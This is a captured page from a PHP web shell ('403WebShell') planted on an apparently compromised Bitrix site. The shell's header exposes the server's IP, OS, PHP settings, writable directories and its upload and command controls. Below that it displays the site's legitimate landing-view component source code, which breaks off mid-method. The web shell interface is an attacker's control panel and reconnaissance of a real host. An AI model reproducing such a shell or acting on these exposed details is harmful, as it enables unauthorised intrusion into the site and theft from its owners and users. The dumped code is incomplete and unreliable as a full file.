%PDF- %PDF- 403WebShell
403Webshell
Server IP : 37.220.80.31  /  Your IP : 18.190.156.13
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64
User : www-root ( 1010)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/www-root/data/www/dev.artlot24.ru/bitrix/components/bitrix/landing.landing_view/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/www-root/data/www/dev.artlot24.ru/bitrix/components/bitrix/landing.landing_view//class.php
<?php
if (!defined('B_PROLOG_INCLUDED') || B_PROLOG_INCLUDED !== true)
{
	die();
}

use \Bitrix\Landing\Manager;
use \Bitrix\Landing\Site;
use \Bitrix\Landing\Landing;
use \Bitrix\Landing\Site\Type;
use \Bitrix\Landing\Syspage;
use \Bitrix\Landing\Hook;
use \Bitrix\Landing\Rights;
use \Bitrix\Main\EventManager;
use \Bitrix\Main\ModuleManager;
use \Bitrix\Landing\Source\Selector;
use \Bitrix\Landing\PublicAction\Demos;
use \Bitrix\Main\UI\Extension;

\CBitrixComponent::includeComponentClass('bitrix:landing.base');

class LandingViewComponent extends LandingBaseComponent
{
	/**
	 * Total this type sites count.
	 * @deprecated since 19.0.0
	 * @var int
	 */
	protected $sitesCount;

	/**
	 * Total pages count in current site.
	 * @deprecated since 19.0.0
	 * @var int
	 */
	protected $pagesCount;

	/**
	 * Just redirect to the landing preview page.
	 * @param int $id Landing id.
	 * @return boolean
	 */
	protected function actionPreview($id)
	{
		\Bitrix\Landing\Landing::setPreviewMode(true);

		$landing = Landing::createInstance($id, [
			'skip_blocks' => true
		]);
		if ($landing->exist())
		{
			if (
				$landing->getSmnSiteId() &&
				Manager::isExtendedSMN() &&
				$this->arParams['DRAFT_MODE'] != 'Y'
			)
			{
				Manager::forceB24disable(true);
			}
			$url = $landing->getPublicUrl(false, true, true);
			if ($this->arParams['DONT_LEAVE_AFTER_PUBLICATION'] == 'Y')
			{
				$uriPreview = new \Bitrix\Main\Web\Uri($url);
				$uriPreview->addParams([
					'IFRAME' => 'Y'
				]);
				$url = $uriPreview->getUri();
			}
			\localRedirect($this->getTimestampUrl($url), true);
		}

		\Bitrix\Landing\Landing::setPreviewMode(false);

		$this->setErrors(
			$landing->getError()->getErrors()
		);

		return false;
	}

	/**
	 * Set auto publication flag to user option.
	 * @param string $check Auto publication flag (Y / N).
	 * @return void
	 */
	protected function actionChangeAutoPublication(string $check): void
	{
		\CUserOptions::setOption('landing', 'auto_publication', ($check === 'Y') ? 'Y' : 'N');
	}

	/**
	 * User try change top panel and need new data.
	 * @param int $lid Landing id.
	 * @return array
	 */
	protected function actionChangeTop($lid)
	{
		$site = null;
		$landing = Landing::createInstance($lid, [
			'skip_blocks' => true
		]);
		if ($landing->exist())
		{
			$site = $this->getSites([
				'filter' => [
					'ID' => $landing->getSiteId()
				]
			]);
		}
		if (!$landing->exist() || !$site)
		{
			return [
				'type' => 'error',
				'error_description' => 'Page not found'
			];
		}
		$site = array_pop($site);
		$rights = Rights::getOperationsForSite(
			$landing->getSiteId()
		);
		return $this->getTopPanelConfig($landing, $site, $rights);
	}

	/**
	 * Gets config for top panel.
	 * @param Landing $landing Landing instance.
	 * @param array $site Site landing's array.
	 * @param array $rights Rights landing's array.
	 * @return array
	 */
	protected function getTopPanelConfig(Landing $landing, array $site, array $rights)
	{
		$uiInstalled = \Bitrix\Main\Loader::includeModule('ui');
		return [
			'type' => $this->arParams['TYPE'],
			'id' => $landing->getId(),
			'url' => $this->arResult['~LANDING_FULL_URL'] ?? $landing->getPublicUrl(),
			'siteId' => $landing->getSiteId(),
			'siteTitle' => $site['TITLE'],
			'active' => $landing->isActive(),
			'draftMode' => $this->arParams['DRAFT_MODE'] == 'Y',
			'title' => $landing->getTitle(),
			'specialType' => $this->arResult['SPECIAL_TYPE'],
			'autoPublicationEnabled' =>
				$this->arResult['SPECIAL_TYPE'] === Site\Type::PSEUDO_SCOPE_CODE_FORMS ||
				\CUserOptions::getOption('landing', 'auto_publication', 'Y') === 'Y',
			'pagesCount' => $this->getPagesCount(
				$landing->getSiteId()
			),
			'storeEnabled' => (
				$this->arParams['TYPE'] == 'STORE' ||
				!Manager::isB24() &&
				Manager::isStoreEnabled()
			),
			'fullPublication' => $this->arParams['FULL_PUBLICATION'] == 'Y',
			'urls' => $this->getUrls(
				$landing
			),
			'sliderConditions' => $this->getSliderConditions(),
			'rights' => [
				'settings' => in_array(
					Rights::ACCESS_TYPES['sett'],
					$rights
				),
				'public' => in_array(
					Rights::ACCESS_TYPES['public'],
					$rights
				) && $this->arResult['FAKE_PUBLICATION']
			],
			'helperFrameOpenUrl' => !$uiInstalled ? null : \CHTTP::urlAddParams(\Bitrix\UI\Util::getHelpdeskUrl(true) . '/widget2/', [
				'url' => urlencode(
					(Manager::isHttps() ? 'https://' : 'http://') .
					Manager::getHttpHost() .
					Manager::getApplication()->getCurPageParam()
				),
				'user_id' => Manager::getUserId(),
				'is_cloud' => ModuleManager::isModuleInstalled('bitrix24') ? '1' : '0',
				'action' => 'open'
			]),
			'helpCodes' => [
				'form_general' => \Bitrix\Landing\Help::getHelpData('FORM_GENERAL', 'ru'),
				'widget_general' => \Bitrix\Landing\Help::getHelpData('WIDGET_GENERAL', 'ru')
			]
		];
	}

	/**
	 * In some times we need show popup about site is now creating.
	 * @param int $siteId Site id.
	 * @return boolean
	 */
	protected function isNeedFirstPreparePopup($siteId)
	{
		if (!Manager::isB24())
		{
			return false;
		}
		$date = new \Bitrix\Main\Type\DateTime;
		$res = Site::getList(array(
			'filter' => array(
				'ID' => $siteId,
				'>DOMAIN.DATE_MODIFY' => $date->add('-15 seconds')
			)
		));
		if ($row = $res->fetch())
		{
			return true;
		}
		return false;
	}

	/**
	 * Publication landing.
	 * @param int $id Landing id.
	 * @param bool $disabledRedirect Disable redirect after publication.
	 * @return boolean
	 */
	protected function actionPublication($id, $disabledRedirect = false)
	{
		static $publicIds = [];

		if (isset($publicIds[$id]))
		{
			return $publicIds[$id];
		}

		$landing = Landing::createInstance($id, [
			'skip_blocks' => true
		]);
		$context = \Bitrix\Main\Application::getInstance()->getContext();
		$request = $context->getRequest();
		$agreementExist = isset($this->arParams['AGREEMENT']) &&
						  !empty($this->arParams['AGREEMENT']);

		// agreement already display
		if (
			$agreementExist &&
			$request->get('agreement') == 'Y'
		)
		{
			$publicIds[$id] = false;
			return $publicIds[$id];
		}

		if ($landing->exist())
		{
			// display agreement
			$uriSave = new \Bitrix\Main\Web\Uri(
				$request->getRequestUri()
			);
			$uriSave->deleteParams(array(
				'agreement'
			));
			if (
				isset($this->arParams['AGREEMENT']) &&
				!empty($this->arParams['AGREEMENT'])
			)
			{
				$uriSave->addParams(array(
					'agreement' => 'Y'
				));
				\localRedirect($uriSave->getUri(), true);
			}
			if ($landing->publication())
			{
				$publicIds[$id] = true;
				// current landing is not area
				$areas = $landing->getAreas();
				if (!in_array($id, $areas))
				{
					foreach ($areas as $aId)
					{
						if (isset($publicIds[$aId]))
						{
							continue;
						}
						$landingArea = Landing::createInstance($aId, [
							'skip_blocks' => true
						]);
						$meta = $landingArea->getMeta();
						if ($meta['ACTIVE'] != 'Y')
						{
							$meta['PUBLIC'] = 'N';
						}
						if ($meta['PUBLIC'] == 'Y')
						{
							$publicIds[$aId] = true;
							continue;
						}
						if (
							$landingArea->exist() &&
							$landingArea->publication()
						)
						{
							$publicIds[$aId] = true;
						}
						else
						{
							$error = $landingArea->getError()->getFirstError();
							$this->addError(
								$error->getCode(),
								$error->getMessage()
							);
							return false;
						}
					}
				}
				if ($disabledRedirect)
				{
					return $publicIds[$id];
				}
				if ($this->isNeedFirstPreparePopup($landing->getSiteId()))
				{
					$this->addError(
						'SITE_IS_NOW_CREATING'
					);
					return false;
				}
				else if ($this->arParams['DONT_LEAVE_AFTER_PUBLICATION'] != 'Y')
				{
					$url = $landing->getPublicUrl(false, true, true);
					\localRedirect($this->getTimestampUrl($url), true);
				}
				else
				{
					$this->arResult['CUR_URI'] = $this->getUri(
						['success' => 'Y']
					);
					return true;
				}
			}
			else
			{
				$this->setErrors(
					$landing->getError()->getErrors()
				 );
				return false;
			}
		}

		$this->setErrors(
			$landing->getError()->getErrors()
		);

		$publicIds[$id] = false;
		return $publicIds[$id];
	}

	/**
	 * Publication all landing in site of current landing.
	 * @param int $id Landing id.
	 * @return bool
	 */
	protected function actionPublicationGlobal(int $id): bool
	{
		return $this->actionPublicationAll($id);
	}

	/**
	 * Publication all landing in site of current landing.
	 * @param int $id Landing id.
	 * @return bool
	 */
	protected function actionPublicationAll(int $id): bool
	{
		$landing = Landing::createInstance($id, [
			'skip_blocks' => true
		]);

		if ($landing->exist())
		{
			$pages = $this->getLandings(array(
				'filter' => array(
					'SITE_ID' => $landing->getSiteId()
				)
			));
			foreach ($pages as $page)
			{
				if ($page['ACTIVE'] != 'Y')
				{
					$page['PUBLIC'] = 'N';
				}
				if ($page['PUBLIC'] == 'Y')
				{
					continue;
				}
				if (!$this->actionPublication($page['ID'], true))
				{
					return false;
				}
			}
			if ($this->isNeedFirstPreparePopup($landing->getSiteId()))
			{
				$this->addError(
					'SITE_IS_NOW_CREATING'
				);
				return false;
			}
			if ($this->arParams['DONT_LEAVE_AFTER_PUBLICATION'] != 'Y')
			{
				$url = $landing->getPublicUrl(false, true, true);
				\localRedirect($this->getTimestampUrl($url), true);
			}
			else
			{
				$this->arResult['CUR_URI'] = $this->getUri(
					['success' => 'Y']
				);
				return true;
			}
		}

		$this->setErrors(
			$landing->getError()->getErrors()
		);

		return false;
	}

	/**
	 * Cancel publication the landing.
	 * @param int $id Landing id.
	 * @return boolean
	 */
	protected function actionUnpublic($id)
	{
		$landing = Landing::createInstance($id, [
			'skip_blocks' => true
		]);

		if ($landing->exist())
		{
			if ($landing->unpublic())
			{
				return true;
			}
		}

		$this->setErrors(
			$landing->getError()->getErrors()
		);

		return false;
	}

	/**
	 * Gets sites count.
	 * @return int
	 */
	public function getSitesCount()
	{
		static $sitesCount = null;

		if (is_int($sitesCount))
		{
			return $sitesCount;
		}

		$filter = [
			'=TYPE' => $this->arParams['TYPE']
		];
		// in group mode exist only one site == current
		if ($this->arParams['TYPE'] == 'GROUP')
		{
			$filter['ID'] = $this->arParams['SITE_ID'];
		}

		$res = Site::getList(array(
			'select' => array(
				new \Bitrix\Main\Entity\ExpressionField(
					'CNT', 'COUNT(*)'
				)
			),
			'filter' => $filter
		));
		if ($row = $res->fetch())
		{
			$sitesCount = $row['CNT'];
		}
		else
		{
			$sitesCount = 0;
		}

		return $sitesCount;
	}

	/**
	 * Gets pages count of current site.
	 * @param int $siteId Site id.
	 * @return int
	 */
	public function getPagesCount($siteId = null)
	{
		static $sites = [];

		if ($siteId === null)
		{
			$siteId = $this->arParams['SITE_ID'];
		}

		if (isset($sites[$siteId]))
		{
			return $sites[$siteId];
		}

		$res = Landing::getList(array(
			'select' => array(
				new \Bitrix\Main\Entity\ExpressionField(
					'CNT', 'COUNT(*)'
				)
			),
			'filter' => array(
				'=SITE_ID' => $siteId
			)
		));
		if ($row = $res->fetch())
		{
			$sites[$siteId] = (int) $row['CNT'];
		}
		else
		{
			$sites[$siteId] = 0;
		}

		return $sites[$siteId];
	}

	/**
	 * Returns additional references for placeholders.
	 * @param int $siteId Site id.
	 * @return array
	 */
	protected function getReferences(int $siteId): array
	{
		$references = [];

		$crmContacts = \Bitrix\Landing\Connector\Crm::getContacts(
			$siteId
		);
		if (!empty($crmContacts['PHONE']))
		{
			$references[] = [
				'value' => 1,
				'text' => $crmContacts['PHONE']
			];
		}

		return $references;
	}

	/**
	 * Returns block section, opened by default.
	 * @param string $type Site type.
	 * @return string
	 */
	protected function getCurrentBlockSection(string $type): string
	{
		$storeKey = 'opened_types';
		$openedTypes = (array)$this->getUserOption($storeKey);
		if (!in_array($type, $openedTypes))
		{
			$openedTypes[] = $type;
			$this->setUserOption($storeKey, $openedTypes);
			switch ($type)
			{
				case 'PAGE':
				case 'STORE':
					return 'cover';
				case 'KNOWLEDGE':
					return 'recommended';
			}
		}

		return 'last';
	}

	protected function getCrmFormEditorData(): ?array
	{
		static $formEditorData = null;

		if (!is_array($formEditorData) && \Bitrix\Main\Loader::includeModule('crm'))
		{
			$landing = $this->arResult['LANDING'];
			$res = \Bitrix\Crm\WebForm\Internals\LandingTable::getList([
				'select' => [
					'FORM_ID'
				],
				'filter' => [
					'LANDING_ID' => $landing->getId()
				]
			]);
			if ($row = $res->fetch())
			{
				$formEditorData = \Bitrix\Landing\PublicAction\Form::getEditorData(
					$row['FORM_ID']
				)->getResult();
			}
			else
			{
				$formEditorData = [];
			}
		}

		return $formEditorData;
	}

	/**
	 * Handler on view landing.
	 * @return void
	 */
	protected function onLandingView()
	{
		$type = mb_strtoupper($this->arParams['TYPE']);
		$landing = $this->arResult['LANDING'];
		$site = $this->arResult['SITE'];
		$params = $this->arParams;
		$arResult = $this->arResult;
		$eventManager = EventManager::getInstance();
		$eventManager->addEventHandler('landing', 'onLandingView',
			function(\Bitrix\Main\Event $event) use ($type, $params, $arResult, $landing, $site)
			{
				/** @var \Bitrix\Landing\Landing $landing */
				$result = new \Bitrix\Main\Entity\EventResult;
				$b24 = \Bitrix\Landing\Manager::isB24();
				$isStore = \Bitrix\Landing\Manager::isStoreEnabled();
				$options = $event->getParameter('options');
				$meta = $landing->getMeta();
				$options['url'] = $arResult['~LANDING_FULL_URL'] ?? $landing->getPublicUrl();
				$options['folder_id'] = $landing->getFolderId();
				$options['version'] = Manager::getVersion();
				$options['default_section'] = $this->getCurrentBlockSection($type);
				$options['specialType'] = $this->arResult['SPECIAL_TYPE'];
				$options['tplCode'] = $meta['TPL_CODE'] ?: null;
				$options['params'] = (array)$params['PARAMS'];
				$options['params']['type'] = $params['TYPE'];
				$options['params']['draftMode'] = $params['DRAFT_MODE'] == 'Y';
				$options['params']['sef_url']['design_block'] = $arResult['TOP_PANEL_CONFIG']['urls']['designBlock'];
				if (
					$options['specialType'] === Type::PSEUDO_SCOPE_CODE_FORMS &&
					\Bitrix\Main\Loader::includeModule('crm')
				)
				{
					$options['formEditorData'] = $this->getCrmFormEditorData();
				}
				if ($options['params']['draftMode'])
				{
					$options['params']['editor'] = [
						'externalUrlTarget' => '_blank'
					];
				}
				if (!$site['TPL_CODE'] && mb_strpos($site['XML_ID'], '|'))
				{
					[, $site['TPL_CODE']] = explode('|', $site['XML_ID']);
				}
				if ($site['TPL_CODE'])
				{
					$options['theme'] = $this->getThemeManifest($site['TPL_CODE']);
				}
				$options['sites_count'] = $this->getSitesCount();
				$options['pages_count'] = $this->getPagesCount($landing->getSiteId());
				$options['references'] = $this->getReferences($landing->getSiteId());
				$options['syspages'] = array();
				$options['helps'] = [
					'DYNAMIC_BLOCKS' => \Bitrix\Landing\Help::getHelpUrl('DYNAMIC_BLOCKS')
				];
				// features
				$options['features'] = [];
				if (
					($type === 'KNOWLEDGE' || $type === 'GROUP') &&
					\Bitrix\Main\Loader::includeModule('disk')
				)
				{
					Extension::load('file_dialog');
					$options['features'][] = 'diskFile';
				}
				// rights
				$options['rights'] = Rights::getOperationsForSite(
					$landing->getSiteId()
				);
				// placements
				$options['placements'] = array(
					'blocks' => array(),
					'image' => array()
				);
				$options['hooks'] = array(
					'YACOUNTER' => array(),
					'GACOUNTER' => array(),
					'B24BUTTON' => array()
				);
				if (!Manager::isB24())
				{
					unset($options['hooks']['B24BUTTON']);
				}
				$options['lastModified'] = isset($meta['DATE_MODIFY'])
					? $meta['DATE_MODIFY']->getTimestamp()
					: null;
				$options['sources'] = array_values(Selector::getSources([]));
				// gets default pages in this site
				// @todo: should refactor for several types (detail, ...)
				if ($options['sources'])
				{
					foreach ($options['sources'] as &$source)
					{
						$source['default'] = [
							'detail' => ''
						];
						$checkPages = [
							'detail' => []
						];
						// get available templates
						$demoPages = Demos::getPageList(
							'page',
							['section' => 'dynamic:' . $source['id']]
						)->getResult();
						foreach ($demoPages as $demoItem)
						{
							if (in_array('dynamic:detail', $demoItem['SECTION']))
							{
								$checkPages['detail'][] = $demoItem['ID'];
							}
						}
						if ($checkPages['detail'])
						{
							$res = Landing::getList([
								'select' => [
									'ID', 'TPL_CODE'
								],
								'filter' => [
									'SITE_ID' => $this->arParams['SITE_ID']
								],
								'order' => [
									'ID' => 'asc'
								]
							]);
							while ($row = $res->fetch())
							{
								if (in_array($row['TPL_CODE'], $checkPages['detail']))
								{
									$source['default']['detail'] = '#landing' . $row['ID'];
								}
							}
						}
					}
					unset($source);
				}
				// product type
				if (ModuleManager::isModuleInstalled('bitrix24'))
				{
					$options['productType'] = 'b24cloud';
				}
				else if (ModuleManager::isModuleInstalled('intranet'))
				{
					$options['productType'] = 'b24selfhosted';
				}
				else
				{
					$options['productType'] = 'smn';
				}
				// some hooks
				$hookSite = Hook::getForSite($params['SITE_ID']);
				$hookLanding = Hook::getForLanding($params['LANDING_ID']);
				foreach ($options['hooks'] as $hook => &$hookFields)
				{
					$fields = array();
					if (
						isset($hookLanding[$hook]) &&
						$hookLanding[$hook]->enabled()
					)
					{
						$fields = $hookLanding[$hook]->getFields();
					}
					elseif (
						isset($hookSite[$hook]) &&
						$hookSite[$hook]->enabled()
					)
					{
						$fields = $hookSite[$hook]->getFields();
					}
					foreach ($fields as $fieldCode => $field)
					{
						$hookFields[$fieldCode] = $field->getValue();
					}
				}
				unset($hookFields);
				// resolve button24's id
				if (isset($options['hooks']['B24BUTTON']['CODE']) && $options['hooks']['B24BUTTON']['CODE'] !== 'N')
				{
					foreach (Hook\Page\B24button::getButtonsData() as $button)
					{
						if (strpos($button['SCRIPT'], $options['hooks']['B24BUTTON']['CODE']) !== false)
						{
							$options['hooks']['B24BUTTON']['ID'] = $button['ID'];
							break;
						}
					}
				}
				// get system pages
				foreach (Syspage::get($landing->getSiteId()) as $code => $page)
				{
					$options['syspages'][$code] = array(
						'landing_id' => $page['LANDING_ID'],
						'name' => $page['TITLE']
					);
				}
				if ($mainPageId = $this->arResult['SITE']['LANDING_ID_INDEX'])
				{
					$res = Landing::getList([
						'select' => [
							'TITLE'
						],
						'filter' => [
							'ID' => $mainPageId,
							'CHECK_PERMISSIONS' => 'N'
						]
				 	]);
					if ($row = $res->fetch())
					{
						$options['syspages']['mainpage'] = array(
							'landing_id' => $mainPageId,
							'name' => $row['TITLE']
						);
					}
				}
				// special check for type = SMN
				if ($options['params']['type'] == 'SMN')
				{
					if (isset($options['syspages']['catalog']))
					{
						$options['params']['type'] = 'STORE';
					}
				}
				if (\Bitrix\Main\Loader::includeModule('bitrix24'))
				{
					$options['license'] = \CBitrix24::getLicenseType();
				}
				// unset blocks not for this type
				foreach ($options['blocks'] as $sectionCode => &$section)
				{
					if (isset($section['type']) && $section['type'])
					{
						$section['type'] = array_map('strtoupper', (array)$section['type']);
						if (in_array('PAGE', $section['type']))
						{
							$section['type'][] = 'SMN';
						}
						if (!in_array($options['params']['type'], $section['type']))
						{
							unset($options['blocks'][$sectionCode]);
							continue;
						}
					}
					foreach ($section['items'] as $code => &$block)
					{
						if (!empty($block['type']))
						{
							$block['type'] = array_map('strtoupper', (array)$block['type']);
							if (in_array('PAGE', $block['type']))
							{
								$block['type'][] = 'SMN';
							}
						}
						if (
							!empty($block['type']) &&
							!in_array($type, $block['type']) &&
							($b24 || $block['type'] == 'null')
						)
						{
							unset($section['items'][$code]);
						}
						if (
							$block['type'] == 'store' &&
							!$isStore
						)
						{
							unset($section['items'][$code]);
						}
						if (
							$block['version'] &&
							version_compare($options['version'], $block['version']) < 0
						)
						{
							$block['requires_updates'] = true;
						}
						else
						{
							$block['requires_updates'] = false;
						}
						if (!empty($block['only_for_license']) && $block['only_for_license'] !== $options['license'])
						{
							unset($section['items'][$code]);
						}
					}
					unset($block);
				}
				unset($section);
				// redefine options
				if (\Bitrix\Main\Loader::includeModule('rest'))
				{
					// add placements
					$res = \Bitrix\Rest\PlacementTable::getList(array(
						'select' => array(
							'ID', 'APP_ID', 'PLACEMENT', 'TITLE',
							'APP_NAME' => 'REST_APP.APP_NAME'
						),
						'filter' => array(
							array(
								'LOGIC' => 'OR',
								['PLACEMENT' => 'LANDING_BLOCK_%'],
								['=PLACEMENT' => 'LANDING_IMAGE']
							)
						),
						'order' => array(
							'ID' => 'DESC'
						)
					));
					while ($row = $res->fetch())
					{
						$placementType = ($row['PLACEMENT'] == 'LANDING_IMAGE')
										? 'image'
										: 'blocks';
						$row['PLACEMENT'] = mb_strtolower(mb_substr($row['PLACEMENT'], 14));
						if (!isset($options['placements'][$placementType][$row['PLACEMENT']]))
						{
							$options['placements'][$placementType][$row['PLACEMENT']] = array();
						}
						$options['placements'][$placementType][$row['PLACEMENT']][$row['ID']] = array(
							'id' => $row['ID'],
							'placement' => $row['PLACEMENT'],
							'app_id' => $row['APP_ID'],
							'title' => trim($row['TITLE'])
										? $row['TITLE']
										: $row['APP_NAME']
						);
					}
				}
				$result->modifyFields(array(
					'options' => $options
				));
				return $result;
			}
		);
	}

	/**
	 * Handler on template epilog.
	 * @return void
	 */
	protected function onEpilog()
	{
		$eventManager = EventManager::getInstance();
		$eventManager->addEventHandler('main', 'OnEpilog',
			function()
			{
				Manager::initAssets($this->arParams['LANDING_ID']);
			}
		);
	}

	/**
	 * Gets get some system urls for template.
	 * @param Landing $landing Landing instance.
	 * @param array $site Site row.
	 * @return \Bitrix\Main\Web\Uri[]
	 */
	protected function getUrls(Landing $landing, $site = null)
	{
		if ($site === null)
		{
			$site = $this->getSites([
				'filter' => [
					'ID' => $landing->getSiteId()
				]
			]);
		}

		$replaceParamUrl = function($sefCode) use($landing)
		{
			static $sefUrls = null;
			if ($sefUrls === null)
			{
				$sefUrls = isset($this->arParams['SEF'])
					? $this->arParams['SEF']
					: (
					isset($this->arParams['PARAMS']['sef_url'])
						? $this->arParams['PARAMS']['sef_url']
						: ''
					);
			}
			if (!isset($sefUrls[$sefCode]))
			{
				return '';
			}
			$urlReplace = [
				'#site_show#' => $landing->getSiteId(),
				'#site_edit#' => $landing->getSiteId(),
				'#landing_edit#' => $landing->getId()
			];
			return str_replace(
				array_keys($urlReplace),
				array_values($urlReplace),
				$sefUrls[$sefCode]
			);
		};

		$urls = [];
		$curUrl = $replaceParamUrl('landing_view');
		$sessId = bitrix_sessid();
		$urlsConfig = [
			'publication' => [
				'param' => $landing->getId(),
				'code' => $landing->getXmlId(),
				'site_code' => $site['XML_ID'],
				'sessid' => $sessId
			],
			'publicationAll' => [
				'param' => $landing->getId(),
				'site_id' => $landing->getSiteId(),
				'code' => $landing->getXmlId(),
				'site_code' => $site['XML_ID'],
				'sessid' => $sessId
			],
			'publicationGlobal' => [
				'param' => $landing->getId(),
				'site_id' => $landing->getSiteId(),
				'code' => $landing->getXmlId(),
				'site_code' => $site['XML_ID']
			],
			'preview' => [
				'landing_mode' => 'preview',
				'param' => $landing->getId(),
				'code' => $landing->getXmlId(),
				'site_code' => $site['XML_ID'],
				'sessid' => $sessId
			]
		];
		foreach ($urlsConfig as $code => $config)
		{
			$config['action'] = $code;
			$uri = new \Bitrix\Main\Web\Uri($curUrl);
			$uri->addParams($config);
			$urls[$code] = $uri;
		}

		$urls['landings'] = new \Bitrix\Main\Web\Uri(
			$replaceParamUrl('site_show')
		);
		$urls['landingView'] = new \Bitrix\Main\Web\Uri(
			$replaceParamUrl('landing_view')
		);
		$urls['designBlock'] = new \Bitrix\Main\Web\Uri(
			str_replace('#', '__', $this->arParams['PARAMS']['sef_url']['landing_view'] ?? '')
		);
		$urls['designBlock']->addParams([
			'design_block' => '__block_id__'
		]);
		$urls['landingEdit'] = new \Bitrix\Main\Web\Uri(
			$replaceParamUrl('landing_edit')
		);
		$urls['landingDesign'] = new \Bitrix\Main\Web\Uri(
			$replaceParamUrl('landing_design')
		);
		$urls['landingSiteEdit'] = new \Bitrix\Main\Web\Uri(
			$replaceParamUrl('site_edit')
		);
		$urls['landingSiteDesign'] = new \Bitrix\Main\Web\Uri(
			$replaceParamUrl('site_design')
		);
		$urls['landingCatalogEdit'] = new \Bitrix\Main\Web\Uri(
			$replaceParamUrl('site_edit')
		);
		$urls['landingCatalogEdit']->addParams([
			'tpl' => 'catalog'
		]);
		$urls['landingFrame'] = new \Bitrix\Main\Web\Uri(
			$replaceParamUrl('landing_view')
		);
		$urls['landingFrame']->addParams([
			'landing_mode' => 'edit'
		]);
		if ($this->arParams['DONT_LEAVE_AFTER_PUBLICATION'] == 'Y')
		{
			$urls['landingFrame']->addParams([
				'IFRAME' => 'Y'
			]);
		}

		return $urls;
	}

	/**
	 * Gets conditions for slider init.
	 * @return array
	 */
	protected function getSliderConditions()
	{
		$sliderConditions = [];

		$sliderUrlKeys = [
			'landing_edit', 'site_edit', 'site_show', 'landing_design', 'site_design'
		];
		$sefUrls = isset($this->arParams['SEF'])
					? $this->arParams['SEF']
					: (
						isset($this->arParams['PARAMS']['sef_url'])
						? $this->arParams['PARAMS']['sef_url']
						: []
					);
		foreach ($sliderUrlKeys as $key)
		{
			if (isset($sefUrls[$key]) && $sefUrls[$key])
			{
				$url = $sefUrls[$key];
				$url = str_replace(
					['#site_show#', '#site_edit#', '#landing_edit#', '?'],
					['[0-9]+', '[0-9]+', '[0-9]+', '\\?'],
					$url
				);
				$sliderConditions[$key] = $url;
			}
		}

		if (isset($sliderConditions['site_show']))
		{
			$sliderConditions['site_show'] .= '(?!view)';
		}

		return array_values($sliderConditions);
	}

	/**
	 * Base executable method.
	 * @return void
	 */
	public function executeComponent(): void
	{
		$init = $this->init();

		if ($init)
		{
			$this->checkParam('SITE_ID', 0);
			$this->checkParam('LANDING_ID', 0);
			$this->checkParam('TYPE', '');
			$this->checkParam('PAGE_URL_URL_SITES', '');
			$this->checkParam('PAGE_URL_LANDINGS', '');
			$this->checkParam('PAGE_URL_LANDING_EDIT', '');
			$this->checkParam('PAGE_URL_LANDING_DESIGN', '');
			$this->checkParam('PAGE_URL_SITE_EDIT', '');
			$this->checkParam('FULL_PUBLICATION', 'N');
			$this->checkParam('PANEL_LIGHT_MODE', 'N');
			$this->checkParam('DONT_LEAVE_AFTER_PUBLICATION', 'N');
			$this->checkParam('DRAFT_MODE', 'N');
			$this->checkParam('PARAMS', array());

			$this->forceUpdateNewFolders($this->arParams['SITE_ID']);

			Type::setScope(
				$this->arParams['TYPE']
			);

			Hook::setEditMode();
			Landing::setEditMode();
			$landing = Landing::createInstance($this->arParams['LANDING_ID']);

			$this->arResult['AUTO_PUBLICATION_ENABLED'] = \CUserOptions::getOption('landing', 'auto_publication', 'Y') === 'Y';
			$this->arResult['SUCCESS_SAVE'] = $this->request('success') === 'Y';
			$this->arResult['LANDING'] = $landing;
			$this->arResult['FAKE_PUBLICATION'] = !$this->arResult['AUTO_PUBLICATION_ENABLED']
			                                      || ($this->arParams['DRAFT_MODE'] === 'Y')
			                                      || $landing->fakePublication();
			$this->arResult['~LANDING_FULL_URL'] = $landing->getPublicUrl(
				false,
				true,
				$this->arParams['DRAFT_MODE'] !== 'Y'
			);
			$this->arResult['LANDING_FULL_URL'] = $this->getTimestampUrl(
				$this->arResult['~LANDING_FULL_URL']
			);

			if ($landing->exist())
			{
				$this->arResult['SPECIAL_TYPE'] = $this->getSpecialTypeSiteByLanding($landing);

				// tmp fix for checking crm rights
				if ($this->arResult['SPECIAL_TYPE'] === \Bitrix\Landing\Site\Type::PSEUDO_SCOPE_CODE_FORMS)
				{
					if (\Bitrix\Main\Loader::includeModule('crm'))
					{
						if (!\Bitrix\Crm\WebForm\Manager::checkWritePermission())
						{
							$this->addError('LANDING_ERROR_PAGE_NOT_FOUND', '', true);
							parent::executeComponent();
							return;
						}
					}
					$this->checkFormInLanding($landing);
				}

				$this->arResult['SITES_COUNT'] = $this->getSitesCount();
				$this->arResult['PAGES_COUNT'] = $this->getPagesCount($landing->getSiteId());
				$this->arResult['SITE'] = $this->getSites(array(
					'select' => array(
						'DOMAIN_NAME' => 'DOMAIN.DOMAIN'
					),
					'filter' => array(
						'ID' => $landing->getSiteId()
					)
				), true);
				if ($this->arResult['SITE'])
				{
					$this->arResult['SITE'] = array_pop($this->arResult['SITE']);
				}
				else
				{
					\localRedirect($this->getRealFile());
				}
				// disable optimisation
				if (\Bitrix\Landing\Manager::isB24())
				{
					$asset = \Bitrix\Main\Page\Asset::getInstance();
					$asset->disableOptimizeCss();
					$asset->disableOptimizeJs();
				}
				// get settings placements
				$this->arResult['PLACEMENTS_SETTINGS'] = array();
				if (\Bitrix\Main\Loader::includeModule('rest'))
				{
					$res = \Bitrix\Rest\PlacementTable::getList(array(
						'select' => array(
							'ID', 'APP_ID', 'PLACEMENT', 'TITLE',
							'APP_NAME' => 'REST_APP.APP_NAME'
						),
						'filter' => array(
							'=PLACEMENT' => 'LANDING_SETTINGS'
						),
						'order' => array(
							'ID' => 'DESC'
						)
					));
					while ($row = $res->fetch())
					{
						$this->arResult['PLACEMENTS_SETTINGS'][] = $row;
					}
				}
				// can publication / edit settings for page?
				if ($this->arResult['SPECIAL_TYPE'])
				{
